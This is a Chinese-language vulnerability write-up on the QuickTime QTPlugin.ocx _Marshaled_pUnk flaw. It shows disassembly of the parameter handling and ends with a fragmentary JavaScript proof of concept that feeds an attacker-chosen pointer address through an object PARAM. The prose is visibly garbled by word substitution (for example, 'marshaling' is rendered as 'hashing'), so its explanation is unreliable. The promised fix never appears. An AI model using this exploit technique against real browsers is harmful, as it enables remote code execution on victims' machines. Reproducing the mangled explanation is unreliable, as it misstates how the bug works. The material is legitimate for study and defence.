QuickTime QTPlugin.ocx控件_Marshaled_pUnk参数考证漏洞及修复[网络技术]

Apple QuickTime Player 7.6.7 (1675)

Apple QuickTime是一款非常风行的多媒体播放器.

QuickTime ActiveX控件（QTPlugin.ocx）实现了IPersistPropertyBag2::Read（1000E330）来处理所接纳到的param:

.text:1000E330  
.text:1000E330 ; =============== S U B R O U T I N E =======================================  
.text:1000E330  
.text:1000E330  
.text:1000E330 sub_1000E330    proc near               ; DATA XREF: .rdata:1002E0ECo  
.text:1000E330                                         ; .rdata:1002E86Co  
.text:1000E330  
.text:1000E330 arg_0           = dword ptr  4  
.text:1000E330 arg_4           = dword ptr  8  
.text:1000E330 arg_8           = dword ptr  0Ch  
.text:1000E330  
.text:1000E330                 push    esi  
.text:1000E331                 mov     esi, [esp+4+arg_0]  
.text:1000E335                 mov     ecx, [esi+84h]  
.text:1000E33B                 xor     eax, eax  
.text:1000E33D                 test    ecx, ecx  
.text:1000E33F                 jz      short loc_1000E393  
.text:1000E341                 mov     eax, [esp+4+arg_8]  
.text:1000E345                 mov     edx, [esp+4+arg_4]  
.text:1000E349                 push    eax  
.text:1000E34A                 push    edx  
.text:1000E34B                 call    sub_100031F0  

履行流:  
sub_10002980+27A  
sub_10002980+27A  loc_10002BFA:                           ; CODE XREF: sub_10002980+266j  
sub_10002980+27A                                          ; sub_10002980+272j  
sub_10002980+27A                  push    offset aType    ; "type"  
sub_10002980+27F                  push    ebx             ; lpString1  
sub_10002980+280                  call    ebp ; lstrcmpiA  
sub_10002980+282                  test    eax, eax  
sub_10002980+284                  jnz     short loc_10002C22  
sub_10002980+286                  push    edi             ; lpString  
sub_10002980+287                  call    ds:lstrlenA  
sub_10002980+28D                  cmp     eax, 104h  
sub_10002980+292                  jnb     short loc_10002C22  
sub_10002980+294                  push    edi             ; lpString2  
sub_10002980+295                  lea     edx, [esi+83Ch]  
sub_10002980+29B                  push    edx             ; lpString1  
sub_10002980+29C                  call    ds:lstrcpyA  
sub_10002980+2A2  
sub_10002980+2A2  loc_10002C22:                           ; CODE XREF: sub_10002980+284j  
sub_10002980+2A2                                          ; sub_10002980+292j  
sub_10002980+2A2                  push    offset a_marshaled_pun ; "_Marshaled_pUnk"  
sub_10002980+2A7                  push    ebx             ; lpString1  
sub_10002980+2A8                  call    ebp ; lstrcmpiA  
sub_10002980+2AA                  test    eax, eax  
sub_10002980+2AC                  jnz     short loc_10002C4A  
sub_10002980+2AE                  push    edi  
sub_10002980+2AF                  call    sub_10001310   ; SIMPLE ASCII NUMBERS TO LONG routine  
sub_10002980+2B4                  add     esp, 4  
sub_10002980+2B7                  lea     ecx, [esi+13B8h]  
sub_10002980+2BD                  push    ecx             ; ppv  
sub_10002980+2BE                  push    offset iid      ; iid  
sub_10002980+2C3                  push    eax             ; pStm  
sub_10002980+2C4                  call    ds:CoGetInterfaceAndReleaseStream  ; WE HAVE A WINNER!!  
sub_10002980+2CA  
sub_10002980+2CA  loc_10002C4A:                           ; CODE XREF: sub_10002980+2ACj  
sub_10002980+2CA                  push    edi             ; int  

QTPlugin.OCX控件查抄对象的属性中能否存在_Marshaled_pUnk,假如存在就通过将地址从ASCII表示

转换为数字表示（sub_10001310）举行散列,之后将所生成的指针用作了pStm（所要散列流上指向

IStream接口的指针）CoGetInterfaceAndReleaseStream以获得所列集接口的IUnknown指针（pUnk）

,这样就得到了对IStream 指针的掌握.

http://secunia.com/advisories/41213/

addr = 354552864; // 0x15220C20 [pUnk]    

var obj=  '<' + 'object class width="0" height="0"'+'>'  

       +'<' + 'PARAM  value="'+addr+'"' + '/>'  

       +'<'+'/'+'object>';